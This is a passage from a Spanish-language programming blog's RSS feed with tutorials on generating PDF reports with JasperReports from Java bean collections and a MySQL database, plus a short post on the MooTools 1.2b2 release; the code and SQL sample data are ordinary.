&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{alumnos}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/detail<span class="re2">&gt;</span></span></span><br />
<br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>Ahora viene la parte interesante en Java, la cual cambiará muy poco conforme al <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>.</p>
<p><strong>Generar el reporte con Java.</strong><br />
Para generar el reporte son necesarios cuatro pasos, muy sencillos por cierto. El paso número uno es llenar el data source con la información a enviar, el paso dos compilar el reporte, paso tres llenarlo con la información y parámetros necesarios, paso cuatro exportar el reporte al formato deseado, en este caso pdf.</p>
<div class="codecolorer-container java" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">package</span> pruebas;<br />
<span class="coMULTI">/**<br />
&nbsp;* Generar un reporte con Jasper Report<br />
&nbsp;* Por Crysfel Villa Roman<br />
&nbsp;* 21/01/2008<br />
&nbsp;* <br />
&nbsp;* */</span><br />
<span class="co2">import java.util.ArrayList;</span><br />
<span class="co2">import java.util.Collection;</span><br />
<span class="co2">import java.util.HashMap;</span><br />
<span class="co2">import java.util.Map;</span><br />
<br />
<span class="co2">import net.sf.jasperreports.engine.JasperCompileManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperExportManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperFillManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperPrint;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperReport;</span><br />
<span class="co2">import net.sf.jasperreports.engine.data.JRBeanCollectionDataSource;</span><br />
<br />
<br />
<span class="kw2">public</span> <span class="kw2">class</span> JasperReport4<span class="br0">&#123;</span><br />
&nbsp; <span class="kw2">public</span> <span class="kw2">static</span> <span class="kw4">void</span> main<span class="br0">&#40;</span><span class="kw3">String</span><span class="br0">&#91;</span><span class="br0">&#93;</span> args<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw3">String</span> reportName = <span class="st0">&quot;plantilla&quot;</span>;<br />
&nbsp; &nbsp; JRBeanCollectionDataSource dataSource;<br />
&nbsp; &nbsp; JasperReport jasperReport;<br />
&nbsp; &nbsp; JasperPrint jasperPrint;<br />
&nbsp; &nbsp; <span class="kw3">Map</span> pars = <span class="kw2">new</span> <span class="kw3">HashMap</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;LOGO_URL&quot;</span>, <span class="st0">&quot;logo.gif&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_TITULO&quot;</span>, <span class="st0">&quot;Reporte de universidades inscritas&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_SUBTITULO&quot;</span>, <span class="st0">&quot;Región Nor-Este&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw2">try</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1-Llenar el datasource con la informacion de la base de datos o de donde este, en este caso &quot;hardcode&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">Collection</span> lista = populateData<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; dataSource = <span class="kw2">new</span> JRBeanCollectionDataSource<span class="br0">&#40;</span>lista<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2-Compilamos el archivo XML y lo cargamos en memoria</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jasperReport = JasperCompileManager.<span class="me1">compileReport</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reportName+<span class="st0">&quot;.jrxml&quot;</span><span class="br0">&#41;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3-Llenamos el reporte con la información de la coleccion y parámetros necesarios para la consulta</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jasperPrint = JasperFillManager.<span class="me1">fillReport</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jasperReport, pars, dataSource<span class="br0">&#41;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//4-Exportamos el reporte a pdf y lo guardamos en disco</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; JasperExportManager.<span class="me1">exportReportToPdfFile</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jasperPrint, reportName+<span class="st0">&quot;.pdf&quot;</span><span class="br0">&#41;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">System</span>.<span class="me1">out</span>.<span class="me1">println</span><span class="br0">&#40;</span><span class="st0">&quot;Done!&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw2">catch</span> <span class="br0">&#40;</span><span class="kw3">Exception</span> e<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw3">System</span>.<span class="me1">out</span>.<span class="me1">println</span><span class="br0">&#40;</span>e<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; e.<span class="me1">printStackTrace</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="kw2">private</span> <span class="kw2">static</span> <span class="kw3">Collection</span> populateData<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="kw3">Collection</span> list = <span class="kw2">new</span> <span class="kw3">ArrayList</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Universidad de Montemorelos&quot;</span>,<span class="st0">&quot;Dr. Oscar Castillo&quot;</span>,<span class="st0">&quot;Montemorelos NL.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">4800</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Tecnológico de Monterrey&quot;</span>,<span class="st0">&quot;Dr. Jair Acosta&quot;</span>,<span class="st0">&quot;Monterrey NL.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">10956</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Universidad Regiomontana&quot;</span>,<span class="st0">&quot;Dr. Meliza Orduñez&quot;</span>,<span class="st0">&quot;Monterrey NL.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">5200</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Universidad Autónoma de México&quot;</span>,<span class="st0">&quot;Dr. Carlos Medina&quot;</span>,<span class="st0">&quot;Mexico DF.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">15700</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Instituto Politécnico Nacional&quot;</span>,<span class="st0">&quot;Dr. Manuel Obrador&quot;</span>,<span class="st0">&quot;México DF.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">16380</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;list.<span class="me1">add</span><span class="br0">&#40;</span><span class="kw2">new</span> Universidad<span class="br0">&#40;</span><span class="st0">&quot;Universidad del Valle de México&quot;</span>,<span class="st0">&quot;Dr. Héctor Solano&quot;</span>,<span class="st0">&quot;México DF.&quot;</span>,<span class="kw2">new</span> <span class="kw3">Integer</span><span class="br0">&#40;</span><span class="nu0">6280</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="kw2">return</span> list;<br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div></div>
<p>Lo mas importante a resaltar aquí es la clase <strong>net.sf.jasperreports.engine.data.JRBeanCollectionDataSource</strong> la cual es la encargada de entregar la información al reporte. Esta clase se instancia con una colección de Objetos DTO. En este caso el objeto es Universidad, que contiene las mismas propiedades que el reporte desplegará con sus respectivos getters y setters.</p>
<p>Para ejemplo se ha hardcodeado la información en el método populateData, en la vida real esto no se hace, este método debiera ser implementado de acuerdo a las necesidades del desarrollador, ya sea consultando una base de datos, un webservice, un archivo de texto, etc.</p>
<p>A continuación el bean necesario para llenar el reporte.</p>
<div class="codecolorer-container java" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">package</span> pruebas;<br />
<br />
<span class="kw2">public</span> <span class="kw2">class</span> Universidad <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">private</span> <span class="kw3">String</span> universidad;<br />
&nbsp; &nbsp; <span class="kw2">private</span> <span class="kw3">String</span> rector;<br />
&nbsp; &nbsp; <span class="kw2">private</span> <span class="kw3">String</span> direccion;<br />
&nbsp; &nbsp; <span class="kw2">private</span> <span class="kw3">Integer</span> alumnos;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">//Obligatorio tener un constructor sin parametros.</span><br />
&nbsp; &nbsp; <span class="kw2">public</span> Universidad<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="co1">//Constructor util para setear las propiedades inicialmente.</span><br />
&nbsp; &nbsp; <span class="kw2">public</span> Universidad<span class="br0">&#40;</span><span class="kw3">String</span> universidad,<span class="kw3">String</span> rector,<span class="kw3">String</span> direccion,<span class="kw3">Integer</span> alumnos<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">universidad</span> = universidad;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">rector</span> = rector;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">direccion</span> = direccion;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">alumnos</span> = alumnos;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw3">Integer</span> getAlumnos<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">return</span> alumnos;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw4">void</span> setAlumnos<span class="br0">&#40;</span><span class="kw3">Integer</span> alumnos<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">alumnos</span> = alumnos;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw3">String</span> getDireccion<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">return</span> direccion;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw4">void</span> setDireccion<span class="br0">&#40;</span><span class="kw3">String</span> direccion<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">direccion</span> = direccion;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw3">String</span> getRector<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">return</span> rector;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw4">void</span> setRector<span class="br0">&#40;</span><span class="kw3">String</span> rector<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">rector</span> = rector;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw3">String</span> getUniversidad<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">return</span> universidad;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw4">void</span> setUniversidad<span class="br0">&#40;</span><span class="kw3">String</span> universidad<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">this</span>.<span class="me1">universidad</span> = universidad;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <br />
<span class="br0">&#125;</span></div></div>
<p>Lo más importante aquí es que las propiedades deben corresponder a los campos declarados en el reporte, de esta manera el motor de JasperReports puede relacionarlas y desplegar la información.</p>
<p>El código es muy claro y sencillo, si se siguen los cuatro pasos no se tendrá problema para generar el reporte, al igual que en los tutoriales anteriores voy a poner el proyecto para eclipse, con el ejemplo, para <a href="http://www.crysfel.com/wp-content/uploads/2008/01/jasperreportbean.rar">ser descargado</a>.</p>
<p>Po último quiero dar una disculpa por referirme tanto al <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>, pero tanto este como el <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a> son muy semejantes. <img src='http://www.crysfel.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/01/21/generar-reporte-de-una-coleccion-de-beans-con-jasperreport/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/01/21/generar-reporte-de-una-coleccion-de-beans-con-jasperreport/</feedburner:origLink></item>
		<item>
		<title>Liberada Mootools1.2b2</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/76dV_LvlMnU/</link>
		<comments>http://www.crysfel.com/index.php/2008/01/17/liberada-mootools1-2b2/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 17:45:11 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/01/17/53/</guid>
		<description><![CDATA[Ayer 16 de Enero del 2008, se ha liberado la segunda version beta de Mootools, y según anuncian en su blog, esta parece ser la definitiva, se han solucionado bugs de la versión anterior y se han agregado nuevas características, entre las mas destacadas es sobre el accesso a los elementos.
En la versión anterior el [...]]]></description>
			<content:encoded><![CDATA[<p>Ayer 16 de Enero del 2008, se ha liberado la segunda version beta de Mootools, y según anuncian en su blog, esta parece ser la definitiva, se han solucionado bugs de la versión anterior y se han agregado nuevas características, entre las mas destacadas es sobre el accesso a los elementos.</p>
<p>En la versión anterior el método <em>set</em>, de la clase Element, solo aceptaba un parámetro, ahora en esta nueva versión es posible pasarle un objeto con todas las opciones que querramos.</p>
<p>Ejemplo: En la versión anterior haciamos algo así para acceder a las propiedades de los elmentos.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">$<span class="br0">&#40;</span>element<span class="br0">&#41;</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="st0">'href'</span>, <span class="st0">'http://moootools.net'</span><span class="br0">&#41;</span>; <span class="co1">//setter</span><br />
$<span class="br0">&#40;</span>element<span class="br0">&#41;</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="st0">'href'</span><span class="br0">&#41;</span>; <span class="co1">//getter</span></div></div>
<p>En esta nueva versión podemos hacer lo siguiente, claro que lo anterior lo podemos seguir haciendo:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">$<span class="br0">&#40;</span>element<span class="br0">&#41;</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; href: <span class="st0">'http://www.crysfel.com'</span>,<br />
&nbsp; &nbsp; text: <span class="st0">'Crysfel blog´s'</span>,<br />
&nbsp; &nbsp; morph: <span class="br0">&#123;</span>duration: <span class="nu0">200</span>, transition: <span class="st0">'quad:out'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; events: <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; click: <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.<span class="me1">location</span>.<span class="me1">href</span> = <span class="kw1">this</span>.<span class="me1">href</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">false</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Como se puede ver, ahora podemos asignarle varios parámetros a la vez, pero hay que notar que también se pueden declarar eventos.</p>
<p>Para mayor información ver el <a href="http://blog.mootools.net/2008/1/16/mootools-1-2-beta-2">blog oficial</a>, también recomiendo descargar esta <a href="http://mootools.net/download/tags/1.2b2">nueva versión</a>.</p>
<p>Saludos y a experimentar!.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/01/17/liberada-mootools1-2b2/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/01/17/liberada-mootools1-2b2/</feedburner:origLink></item>
		<item>
		<title>Generar reporte desde una Base de datos en JasperReport</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/vnb2AhOSjuU/</link>
		<comments>http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 00:17:16 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[Featured]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/</guid>
		<description><![CDATA[En este tutorial voy a explicar como generar un reporte en PDF obteniendo la información de una base de datos, si eres realmente nuevo manejando Jasper Reports, te sugiero darle una leída a la introducción y al paso de parámetros.
El reporte que se generará en este tutorial contendrá un listado de facultades que pertenecen a [...]]]></description>
			<content:encoded><![CDATA[<p>En este tutorial voy a explicar como generar un reporte en PDF obteniendo la información de una base de datos, si eres realmente nuevo manejando Jasper Reports, te sugiero darle una leída a <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport">la introducción</a> y al <a href="http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport">paso de parámetros</a>.</p>
<p>El reporte que se generará en este tutorial contendrá un listado de facultades que pertenecen a una determinada universidad, esta información sacada de una base de datos.</p>
<p>La base de datos a utilizar es MySQL 5.0.45, así que es necesario agregar al classpath de tu proyecto el <a href="http://www.mysql.com/products/connector/j/">MySQL Conector</a>, junto con todas las librerías necesarias (mencionadas en <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport">la introducción</a>).</p>
<p>Una vez hecho esto, ha comenzar a codificar el JRXML, primero hay que crear el documento y pasarle dos parámetros, el primero es el id de la universidad que queremos generar el reporte, y el segundo parámetro es la url donde esta la imagen del logotipo de la universidad, hasta ahora tenemos.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span> <span class="re0">encoding</span>=<span class="st0">&quot;UTF-8&quot;</span>&nbsp; <span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport PUBLIC &quot;//JasperReports//DTD Report Design//EN&quot; &quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<span class="sc3"><span class="re1">&lt;jasperReport</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">name</span>=<span class="st0">&quot;plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_ID_UNIVERSIDAD&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;LOGO_URL&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>La estructura de la base de datos es muy simple, consta de dos tablas, una se llama Universidades y la otra se llama Facultades, la tabla Universidades solo tiene tres campos, el id, el nombre de la universidad y el domicilio, la tabla facultades contiene cinco campos, el id, facultad, director, total de alumnos y una relación a la tabla universidades, a continuación muestro el SQL de la base de datos.</p>
<p><span id="more-51"></span></p>
<div class="codecolorer-container sql" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="co1">-- </span><br />
<span class="co1">-- Base de datos: `test`</span><br />
<span class="co1">-- </span><br />
<br />
<span class="co1">-- --------------------------------------------------------</span><br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Estructura de tabla para la tabla `facultades`</span><br />
<span class="co1">-- </span><br />
<br />
<span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="st0">`facultades`</span> <span class="br0">&#40;</span><br />
&nbsp; <span class="st0">`id_facultad`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span> <span class="kw1">AUTO_INCREMENT</span>,<br />
&nbsp; <span class="st0">`id_universidad`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="st0">`facultad`</span> varchar<span class="br0">&#40;</span><span class="nu0">200</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="st0">`director`</span> varchar<span class="br0">&#40;</span><span class="nu0">200</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="st0">`alumnos`</span> int<span class="br0">&#40;</span><span class="nu0">11</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="kw1">PRIMARY</span> <span class="kw1">KEY</span>&nbsp; <span class="br0">&#40;</span><span class="st0">`id_facultad`</span><span class="br0">&#41;</span>,<br />
&nbsp; <span class="kw1">KEY</span> <span class="st0">`id_universidad`</span> <span class="br0">&#40;</span><span class="st0">`id_universidad`</span><span class="br0">&#41;</span><br />
<span class="br0">&#41;</span> ENGINE=InnoDB&nbsp; <span class="kw1">DEFAULT</span> CHARSET=utf8 <span class="kw1">AUTO_INCREMENT</span>=<span class="nu0">10</span> ;<br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Volcar la base de datos para la tabla `facultades`</span><br />
<span class="co1">-- </span><br />
<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Ingeniería y Tecnología'</span>, <span class="st0">'Pedro Mejia'</span>, <span class="nu0">251</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Artes y Comunicación'</span>, <span class="st0">'Imelda Torrez'</span>, <span class="nu0">193</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Ciencias de la Salud'</span>, <span class="st0">'Oscar Ochoa'</span>, <span class="nu0">428</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">4</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Educación'</span>, <span class="st0">'Lorena Mena'</span>, <span class="nu0">173</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">5</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Ciencias Sociales'</span>, <span class="st0">'Alfonso Reyes'</span>, <span class="nu0">95</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">6</span>, <span class="nu0">1</span>, <span class="st0">'Facultad de Teología'</span>, <span class="st0">'Emanuel Perez'</span>, <span class="nu0">162</span><span class="br0">&#41;</span>;<br />
